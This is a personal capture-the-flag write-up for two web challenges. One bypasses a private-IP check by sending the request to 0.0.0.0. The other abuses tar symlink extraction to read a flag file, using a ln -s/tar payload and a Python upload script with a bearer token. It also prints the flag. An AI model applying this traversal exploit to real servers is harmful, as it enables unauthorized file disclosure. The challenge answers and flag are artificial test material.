My team was too good for me to help, but here's a writeup I did on my own for studying purposes.
Flower Power
# app.py
...
@dataclass
class Flower:
name: str
flower_url: str
description: str
id: str = "-1"
database: dict[str, Flower] = dict()
def add_flower(flower: Flower):
flower.id = generate_id()
database[flower.id] = flower
return flower
add_flower(Flower(
"Rose",
"https://i0.wp.com/pikespeakfloral.com/wp-content/uploads/2019/06/roses-1.jpg?resize=800%2C533&ssl=1",
"A red rose",
))
...
@app.get("/special_flower")
def special_flower():
if not request.remote_addr:
return "Unauthorized access"
r_ip = ipaddress.ip_address(request.remote_addr) # filtering
if r_ip in ipaddress.ip_network('192.168.0.0/16') \
or r_ip in ipaddress.ip_network('172.16.0.0/12') \
or r_ip in ipaddress.ip_network('10.0.0.0/8') \
or r_ip in ipaddress.ip_network('127.0.0.0/8'):
return send_file("flag.png", mimetype='image/png')
return "Unauthorized access"
The application use "Flower" class as database and you need to bypass those filterings to get flag.
PoC
http://0.0.0.0/special_flower
tarrible-stroage
# Dockerfile
WORKDIR /chal
COPY flag ./
COPY ./src/ /chal/
The flag is in "/chal/flag".
There's nothing special about this web application except for the file upload feature.
@app.post("/api/upload")
@protected_sync
def handle_tar_upload(request: Request):
# extract user files
tarbytes = io.BytesIO(request.body)
try:
with tarfile.open(fileobj=tarbytes, mode='r') as file_upload:
file_upload.extractall(os.path.join("files", request.ctx.user['folder']))
except tarfile.ReadError as err:
return json({'error': str(err)}, status=400)
return json({"success": "files uploaded"})
@app.get("/api/access/<filename>")
@protected
async def handle_file_access(request: Request, filename):
filename = unquote(filename)
file_path = os.path.join("files", request.ctx.user['folder'], filename)
file_path = os.path.abspath(os.path.normpath(file_path))
if file_path.startswith(ABSOLUTE_FILE_PATH):
return await file(file_path)
return await json({"error": "file not found"}, status=404)
@app.get("/api/directory")
@protected
async def list_userfiles(request: Request):
return json({"files": os.listdir(os.path.join("files", request.ctx.user['folder']))})
We can notice that we need to use upload funciton with tar extension file to get flag. Let's Google for vulnerabilities related to tar files.
Reference : https://blog.csdn.net/brosyveryok/article/details/127355430
The challenge is related to "Tar directory traversal vulnerability". All we need to know is in above reference. So, we just modify some details and let's exploit.
def protected_sync(wrapped):
def decorator(f):
@wraps(f)
async def decorated_function(request, *args, **kwargs):
is_authenticated = check_token(request)
if is_authenticated:
response = f(request, *args, **kwargs)
return response
else:
return text("You are unauthorized.", 401)
return decorated_function
return decorator(wrapped)
First of all, we need validate token to use all endpoint. So let's get token via Sign up.
We got this. Next step, let's make symbolic link file as below command.
I created the symbolic file using the commands in the reference above.
ln -s ../../flag ./get_flag
tar -cvf pay.tar get_flag
Final step, upload this file and get flag with below PoC code. ( Make sure that the file names in your local directory are the same as the file names in the poc code. )
My local file
PoC
import requests
HOST = 'http://tarrible-storage.chals.kekoam.xyz'
session = requests.session()
TOKEN = "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNyb251cyIsInBhc3N3b3JkIjoiMTIzNCIsImZvbGRlciI6ImVjZDFhZTk1LTliZGEtNDczMC05ZDc5LWQ5YWQ1Nzc5ZTljNSJ9.lirsU4IOeNs3nKMWxSg6HnqlpXBVSErrHo9XbQIr8b0"
header = {
'Authorization': TOKEN,
"Content-Type": "application/octet-stream",
}
with open('pay.tar', 'rb') as f:
pay = f.read()
res = session.post(url=HOST+"/api/upload", headers=header,data=pay, verify=False)
header = {
'Authorization': TOKEN,
}
res = session.get(url=HOST+"/api/access/get_flag", headers=header, verify=False)
print(res.text)
Flag
dam{what_a_tarrible_app_lol_1249832789427}